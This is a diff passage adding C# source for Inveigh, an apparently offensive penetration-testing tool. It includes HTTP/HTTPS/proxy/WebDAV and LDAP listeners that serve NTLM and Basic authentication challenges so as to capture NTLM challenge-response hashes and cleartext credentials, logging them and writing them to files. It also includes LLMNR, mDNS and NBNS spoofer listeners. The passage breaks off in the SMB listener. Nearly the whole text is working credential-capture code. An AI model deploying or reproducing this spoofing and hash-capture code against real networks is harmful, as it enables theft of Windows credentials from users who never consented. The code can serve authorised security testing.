+
+ try
+ {
+ tcpListener.Start();
+
+ if (type.Equals("Proxy"))
+ {
+ tcpListener.Server.LingerState = new LingerOption(true, 0);
+ }
+
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(string.Format("[!] Failed to start {0} listener on port {1}, check IP and port usage.", type, port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+
+ }
+ }
+
+ while (Program.isRunning)
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!Program.isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { tcpClient, type };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ TcpClient tcpClient = (TcpClient)parameterArray[0];
+ string type = (string)parameterArray[1];
+ string[] supportedMethods = { "GET", "HEAD", "OPTIONS", "CONNECT", "POST", "PROPFIND" };
+ string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string sourcePort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+ string session = sourceIP + ":" + sourcePort;
+ string ntlmChallenge = "";
+ int ntlmStage = 0;
+ bool proxyIgnoreMatch = false;
+ bool wpadAuthIgnoreMatch = false;
+ NetworkStream tcpStream = null;
+ NetworkStream httpStream = null;
+ SslStream httpsStream = null;
+ X509Certificate2 certificate = null;
+ bool isClientClose = false;
+
+ if (type.Equals("HTTPS"))
+ {
+ byte[] certificateData = Convert.FromBase64String(Program.argCert);
+ certificate = new X509Certificate2(certificateData, Program.argCertPassword, X509KeyStorageFlags.MachineKeySet);
+ tcpStream = tcpClient.GetStream();
+ httpsStream = new SslStream(tcpStream, false);
+ }
+ else
+ {
+ httpStream = tcpClient.GetStream();
+ }
+
+ while (tcpClient.Connected && Program.isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ if (type.Equals("HTTPS"))
+ {
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ }
+ else
+ {
+
+ do
+ {
+ Thread.Sleep(100); // todo check
+ }
+ while (!httpStream.DataAvailable && tcpClient.Connected);
+
+ }
+
+ if (String.Equals(type, "HTTPS"))
+ {
+
+ try
+ {
+
+ if (!httpsStream.IsAuthenticated)
+ {
+ httpsStream.AuthenticateAsServer(certificate, false, tls12, false);
+ }
+
+ while (tcpStream.DataAvailable)
+ {
+ httpsStream.Read(requestData, 0, requestData.Length);
+ }
+
+ }
+ catch (Exception ex)
+ {
+
+ if (!ex.Message.Contains("A call to SSPI failed, see inner exception."))
+ {
+ Console.WriteLine(ex.Message);
+ }
+
+ }
+
+ }
+ else
+ {
+
+ while (httpStream.DataAvailable)
+ {
+ httpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ }
+
+ HTTPRequest request = new HTTPRequest();
+
+ if (!Utilities.ArrayIsNullOrEmpty(requestData))
+ {
+ request.ReadBytes(requestData, 0);
+ }
+
+ if (!string.IsNullOrEmpty(request.Method))
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) {3} request from {5}:{6} for {4}", Output.Timestamp(), type, listenerPort, request.Method, request.URI, sourceIP, sourcePort));
+ }
+
+ if (!string.IsNullOrEmpty(request.URI))
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) host header {3} from {4}:{5}", Output.Timestamp(), type, listenerPort, request.Host, sourceIP, sourcePort));
+ }
+
+ if (!string.IsNullOrEmpty(request.UserAgent))
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) user agent from {3}:{4}:{5}{6}", Output.Timestamp(), type, listenerPort, sourceIP, sourcePort, Environment.NewLine, request.UserAgent));
+ }
+
+ if (!string.IsNullOrEmpty(request.Method) && Array.Exists(supportedMethods, element => element == request.Method))
+ {
+
+ HTTPResponse response = new HTTPResponse
+ {
+ Version = "HTTP/1.1",
+ StatusCode = "401",
+ ReasonPhrase = "Unauthorized",
+ Connection = "close",
+ Server = "Microsoft-HTTPAPI/2.0",
+ Date = DateTime.Now.ToString("R"),
+ ContentType = "text/html",
+ ContentLength = "0"
+ };
+
+ if (!Utilities.ArrayIsNullOrEmpty(Program.argIgnoreAgents) && Program.argWPADAuth.Equals("NTLM"))
+ {
+
+ foreach (string agent in Program.argIgnoreAgents)
+ {
+
+ if (request.UserAgent.ToUpper().Contains(agent.ToUpper()))
+ {
+ wpadAuthIgnoreMatch = true;
+ }
+
+ }
+
+ if (wpadAuthIgnoreMatch)
+ {
+ Output.Queue(string.Format("[-] [{0}] {1}({2}) switching wpad.dat auth to anonymous due to user agent match from {3}:{4}", DateTime.Now.ToString("s"), type, listenerPort, sourceIP, sourcePort));
+ }
+
+ }
+
+ if (type.Equals("Proxy"))
+ {
+ response.StatusCode = "407";
+ response.ProxyAuthenticate = "NTLM";
+ response.WWWAuthenticate = "";
+ response.Connection = "close";
+ }
+ else if(Program.enabledWebDAV && request.Method.Equals("PROPFIND") && Program.argWebDAVAuth.StartsWith("NTLM"))
+ {
+ response.WWWAuthenticate = "NTLM";
+ }
+ else if (Program.enabledWebDAV && request.Method.Equals("PROPFIND") && Program.argWebDAVAuth.Equals("BASIC"))
+ {
+ response.WWWAuthenticate = string.Concat("Basic realm=", Program.argHTTPRealm);
+ }
+ else if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argHTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argWPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch ||
+ (Program.enabledWebDAV && request.Method.Equals("OPTIONS")))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ }
+ else if ((Program.argHTTPAuth.StartsWith("NTLM") && !string.Equals(request.URI, "/wpad.dat")) || (Program.argWPADAuth.StartsWith("NTLM") && string.Equals(request.URI, "/wpad.dat")))
+ {
+ response.WWWAuthenticate = "NTLM";
+ }
+ else if ((string.Equals(Program.argHTTPAuth, "BASIC") && !string.Equals(request.URI, "/wpad.dat")) || (string.Equals(Program.argWPADAuth, "BASIC") && string.Equals(request.URI, "/wpad.dat")))
+ {
+ response.WWWAuthenticate = string.Concat("Basic realm=", Program.argHTTPRealm);
+ }
+
+ /*
+ if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argHTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argWPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch)
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ }
+ else
+ {
+ if (String.Equals(type, "Proxy"))
+ {
+ response.StatusCode = "407";
+ response.ProxyAuthenticate = "NTLM";
+ response.WWWAuthenticate = "";
+ response.Connection = "close";
+ }
+ else
+ {
+ //response.StatusCode = "401";
+ //response.WWWAuthenticate = "NTLM";
+ }
+ }
+ */
+
+ if ((!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("NTLM ")) || (!string.IsNullOrEmpty(request.ProxyAuthorization)) && request.ProxyAuthorization.ToUpper().StartsWith("NTLM "))
+ {
+ string authorization = request.Authorization;
+
+ if (!string.IsNullOrEmpty(request.ProxyAuthorization))
+ {
+ authorization = request.ProxyAuthorization;
+ }
+
+ NTLMNegotiate ntlm = new NTLMNegotiate();
+ ntlm.ReadBytes(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), 0);
+
+ if (ntlm.MessageType == 1)
+ {
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMChallenge challenge = new NTLMChallenge(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain);
+ byte[] challengeData = challenge.GetBytes(Program.computerName);
+ ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", "");
+ string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", "");
+ Program.httpSessionTable[sessionTimestamp] = ntlmChallenge;
+ Output.Queue(String.Format("[+] [{0}] {1}({2}) NTLM challenge [{3}] sent to {4}:{5}", Output.Timestamp(), type, listenerPort, ntlmChallenge, sourceIP, sourcePort));
+
+ if (String.Equals(type, "Proxy"))
+ {
+ response.StatusCode = "407";
+ response.ProxyAuthenticate = "NTLM " + Convert.ToBase64String(challengeData);
+ }
+ else
+ {
+ response.WWWAuthenticate = "NTLM " + Convert.ToBase64String(challengeData);
+ }
+
+ response.Connection = "";
+ }
+ else if (ntlm.MessageType == 3)
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ ntlmStage = 3;
+ isClientClose = true;
+ NTLMResponse ntlmResponse = new NTLMResponse(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), false);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string ntlmResponseHash = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponseHash = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+
+ if (string.IsNullOrEmpty(ntlmChallenge)) // NTLMv2 workaround to track sessions over different ports without a cookie
+ {
+ byte[] timestamp = new byte[8];
+ Buffer.BlockCopy(ntlmResponse.NtChallengeResponse, 24, timestamp, 0, 8);
+ string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", "");
+ Console.WriteLine(sessionTimestamp);
+ ntlmChallenge = Program.httpSessionTable[sessionTimestamp].ToString();
+ }
+
+ Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, sourceIP, host, type, listenerPort, sourcePort, lmResponseHash);
+
+ if (type.Equals("Proxy"))
+ {
+
+ if (!string.IsNullOrEmpty(Program.argHTTPResponse))
+ {
+ response.CacheControl = "no-cache, no-store";
+ }
+
+ }
+
+ }
+
+ }
+ else if (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC "))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ string httpHeaderAuthorizationBase64 = request.Authorization.Substring(6, request.Authorization.Length - 6);
+ string cleartextCredentials = Encoding.UTF8.GetString(Convert.FromBase64String(httpHeaderAuthorizationBase64));
+
+ lock (Program.cleartextList)
+ {
+ Program.cleartextList.Add(string.Concat(sourceIP, " ", cleartextCredentials));
+ }
+
+ Output.Queue(string.Format("[+] [{0}] {1}({2}) Basic authentication [cleartext credentials] captured from {3}({4}):\r\n{5}", Output.Timestamp(), type, listenerPort, sourceIP, sourcePort, cleartextCredentials));
+
+ if (Program.enabledFileOutput)
+ {
+
+ lock (Program.cleartextFileList)
+ {
+ Program.cleartextFileList.Add(string.Concat(sourceIP, ",", cleartextCredentials));
+ }
+
+ Output.Queue(string.Format("[!] [{0}] {1}({2}) Basic authentication cleartext credentials written to {3}", Output.Timestamp(), type, listenerPort, String.Concat(Program.argFilePrefix, "-Cleartext.txt")));
+ }
+
+ }
+
+ if (!string.IsNullOrEmpty(Program.argWPADResponse) && !proxyIgnoreMatch && string.Equals(request.URI, "/wpad.dat"))
+ {
+ response.ContentType = "application/x-ns-proxy-autoconfig";
+ response.Message = Encoding.UTF8.GetBytes(Program.argWPADResponse);
+ }
+ else if (!string.IsNullOrEmpty(Program.argHTTPResponse))
+ {
+ response.Message = Encoding.UTF8.GetBytes(Program.argHTTPResponse);
+ }
+
+ if (Program.enabledWebDAV)
+ {
+
+ if (request.Method.Equals("OPTIONS"))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ response.Allow = "OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK";
+ response.Public = "OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK";
+ response.DAV = "1,2,3";
+ response.Author = "DAV";
+ }
+ else if (request.Method.Equals("PROPFIND"))
+ {
+ DateTime currentTime = DateTime.Now;
+ response.Message = Encoding.UTF8.GetBytes("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\r\n<HTML><HEAD><TITLE>Not Authorized</TITLE>\r\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\r\n<BODY><h2>Not Authorized</h2>\r\n<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>\r\n</BODY></HTML>\r\n");
+ response.Connection = "";
+
+ if (ntlmStage == 3 || (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) || Program.argHTTPAuth.Equals("ANONYMOUS"))
+ {
+ response.Connection = "close";
+
+ if (!request.URI.Contains("."))
+ {
+ response.ContentType = "text/xml";
+ response.Message = Encoding.UTF8.GetBytes("<?xml version=\"1.0\" encoding=\"utf-8\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://" + sourceIP + request.URI + "</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>" + currentTime.ToString("R") + "</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>webdav</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>" + currentTime.ToString("yyyy-MM-ddThh:mm:ss.fffZ") + "</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>");
+ }
+ else
+ {
+ response.ContentType = "text/plain";
+ }
+
+ }
+
+ }
+
+ }
+
+ byte[] buffer = response.GetBytes();
+
+ if (type.Equals("HTTPS") && httpsStream.CanRead)
+ {
+ httpsStream.Write(buffer, 0, buffer.Length);
+ httpsStream.Flush();
+ }
+ else if (httpStream.CanRead)
+ {
+ httpStream.Write(buffer, 0, buffer.Length);
+ httpStream.Flush();
+ }
+
+ if (isClientClose)
+ {
+
+ if (type.Equals("Proxy"))
+ {
+ tcpClient.Client.Close();
+ }
+ else
+ {
+ tcpClient.Close();
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/LDAPListener.cs b/Inveigh/Listeners/LDAPListener.cs
new file mode 100644
index 0000000..3aba3d9
--- /dev/null
+++ b/Inveigh/Listeners/LDAPListener.cs
@@ -0,0 +1,162 @@
+using Quiddity;
+using Quiddity.LDAP;
+using Quiddity.NTLM;
+using Quiddity.Support;
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+
+namespace Inveigh
+{
+ class LDAPListener
+ {
+
+ internal void Start(IPAddress ipAddress, int port)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
+ TcpClient tcpClient;
+
+ try
+ {
+ tcpListener.Start();
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Failed to start LDAP listener on port {0}, check IP and port usage.", port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+
+ }
+ }
+
+ while (Program.isRunning)
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!Program.isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { tcpClient };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ TcpClient tcpClient = (TcpClient)parameterArray[0];
+ NetworkStream tcpStream = tcpClient.GetStream();
+ string ntlmChallenge = "";
+ string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+
+ while (tcpClient.Connected && Program.isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ while (tcpStream.DataAvailable)
+ {
+ tcpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ LDAPMessage message = new LDAPMessage();
+ message.Decode(requestData);
+ LDAPMessage message2 = new LDAPMessage();
+ message2.MessageID = message.MessageID;
+ byte[] buffer = new byte[0];
+ Output.Queue(String.Format("[.] [{0}] LDAP({1}) message type {2} request from {3}:{4}", DateTime.Now.ToString("s"), listenerPort, message.Tag, clientIP, clientPort));
+
+ if (message.Tag == 3)
+ {
+ LDAPMessage message3 = new LDAPMessage();
+ message3.MessageID = message.MessageID;
+ LDAPSearchRequest searchRequest = new LDAPSearchRequest();
+ searchRequest.ReadBytes((byte[][])message.ProtocolOp);
+
+ LDAPSearchResDone resdone = new LDAPSearchResDone();
+ resdone.ResultCode = 0;
+ LDAPSearchResEntry search = new LDAPSearchResEntry();
+
+ if (String.Equals(searchRequest.Attributes[0], "supportedCapabilities"))
+ {
+ LDAPSupportedCapabilities cap = new LDAPSupportedCapabilities();
+ search.Attributes = cap.Encode();
+ }
+ else if (String.Equals(searchRequest.Attributes[0], "supportedSASLMechanisms"))
+ {
+ LDAPSupportedSASLMechanisms mech = new LDAPSupportedSASLMechanisms();
+ search.Attributes = mech.Encode();
+ }
+
+ message2.ProtocolOp = search;
+ message3.ProtocolOp = resdone;
+ buffer = Utilities.BlockCopy(message2.Encode(4), message3.Encode(5));
+ }
+ else if (message.Tag == 0)
+ {
+ LDAPBindRequest bind = new LDAPBindRequest();
+ bind.ReadBytes((byte[][])message.ProtocolOp);
+ LDAPSaslCredentials sasl = new LDAPSaslCredentials();
+ sasl.ReadBytes(bind.Authentication);
+ NTLMNegotiate ntlm = new NTLMNegotiate();
+ ntlm.ReadBytes(sasl.Credentials, 0);
+
+ if (ntlm.MessageType == 1)
+ {
+ NTLMChallenge challenge = new NTLMChallenge(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain);
+ byte[] challengeData = challenge.GetBytes(Program.computerName);
+ ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", "");
+ LDAPBindResponse bindResponse = new LDAPBindResponse();
+ bindResponse.ServerSaslCreds = challengeData;
+ LDAPMessage bindMessage = new LDAPMessage();
+ bindMessage.MessageID = message.MessageID;
+ bindMessage.ProtocolOp = bindResponse;
+ buffer = bindMessage.Encode(3);
+ Output.Queue(String.Format("[+] [{0}] LDAP({1}) NTLM challenge {2} sent to {3}:{4}", Output.Timestamp(), listenerPort, ntlmChallenge, clientIP, clientPort));
+ }
+ else if (ntlm.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(sasl.Credentials, false);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response2 = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, ntlmChallenge, response2, clientIP, host, "LDAP", listenerPort, clientPort, null);
+ }
+
+ }
+
+ tcpStream.Write(buffer, 0, buffer.Length);
+ tcpStream.Flush();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/LLMNRListener.cs b/Inveigh/Listeners/LLMNRListener.cs
new file mode 100644
index 0000000..acde2b0
--- /dev/null
+++ b/Inveigh/Listeners/LLMNRListener.cs
@@ -0,0 +1,59 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using Quiddity;
+using Quiddity.LLMNR;
+
+namespace Inveigh
+{
+ class LLMNRListener : Quiddity.LLMNRListener
+ {
+ internal LLMNRListener()
+ {
+ this.TTL = 300;
+ }
+
+ internal LLMNRListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ LLMNRChecker llmnrHelper = new LLMNRChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argLLMNRTypes,
+ Enabled = Program.enabledLLMNR,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (llmnrHelper.Check(name, type, clientIP))
+ {
+ message = llmnrHelper.OutputMessage;
+ return true;
+ }
+
+ message = llmnrHelper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/MDNSListener.cs b/Inveigh/Listeners/MDNSListener.cs
new file mode 100644
index 0000000..8e6336c
--- /dev/null
+++ b/Inveigh/Listeners/MDNSListener.cs
@@ -0,0 +1,66 @@
+using Quiddity;
+using Quiddity.MDNS;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+
+namespace Inveigh
+{
+ class MDNSListener : Quiddity.MDNSListener
+ {
+
+ public MDNSListener()
+ {
+ this.TTL = 120;
+ }
+
+ public MDNSListener(uint ttl, bool unicastOnly)
+ {
+ this.TTL = ttl;
+ this.UnicastOnly = unicastOnly;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string question, string type, string message)
+ {
+ type = string.Concat(question, ")(", type);
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string question, string type, string clientIP, out string message)
+ {
+
+ MDNSChecker mdnsHelper = new MDNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Questions = Program.argMDNSQuestions,
+ Types = Program.argMDNSTypes,
+ Enabled = Program.enabledMDNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (mdnsHelper.Check(name, question, type, clientIP))
+ {
+ message = mdnsHelper.OutputMessage;
+ return true;
+ }
+
+ message = mdnsHelper.OutputMessage;
+ return false;
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/NBNSListener.cs b/Inveigh/Listeners/NBNSListener.cs
new file mode 100644
index 0000000..49e4fc2
--- /dev/null
+++ b/Inveigh/Listeners/NBNSListener.cs
@@ -0,0 +1,60 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using Quiddity;
+using Quiddity.NetBIOS;
+using Quiddity.Support;
+
+namespace Inveigh
+{
+ class NBNSListener : NetBIOSNSListener
+ {
+ public NBNSListener()
+ {
+ this.TTL = 165;
+ }
+
+ public NBNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ NetBIOSNSChecker helper = new NetBIOSNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argNBNSTypes,
+ Enabled = Program.enabledNBNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (helper.Check(name, type, clientIP))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/SMBListener.cs b/Inveigh/Listeners/SMBListener.cs
new file mode 100644
index 0000000..2a56124
--- /dev/null
+++ b/Inveigh/Listeners/SMBListener.cs
@@ -0,0 +1,264 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using Quiddity;
+using Quiddity.NetBIOS;
+using Quiddity.NTLM;
+using Quiddity.SMB;
+using Quiddity.SMB2;
+using Quiddity.Support;
+
+namespace Inveigh
+{
+ class SMBListener
+ {
+ internal void Start(IPAddress ipAddress, int port)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
+ TcpClient tcpClient;
+ Guid guid = Guid.NewGuid();
+
+ try
+ {
+ tcpListener.Start();
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Failed to start SMB listener on port {0}, check IP and port usage.", port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+ }
+
+ Program.enabledSMB = false;
+ }
+
+ while (Program.isRunning && Program.enabledSMB)
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!Program.isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { guid, tcpClient };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ Guid serverGuid = (Guid)parameterArray[0];
+ TcpClient tcpClient = (TcpClient)parameterArray[1];
+ NetworkStream tcpStream = tcpClient.GetStream();
+ bool isSMB2;
+ string challenge = "";
+ string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+
+ while (tcpClient.Connected && Program.isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ while (tcpStream.DataAvailable)
+ {
+ tcpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(requestData);
+ SMBHelper smbHelper = new SMBHelper();
+
+ if (requestNetBIOSSessionService.Type == 0 || smbHelper.Protocol[0] == 0xfe || smbHelper.Protocol[0] == 0xff)
+ {
+ int sessionServiceIndex = 0;
+
+ if (requestNetBIOSSessionService.Type == 0)
+ {
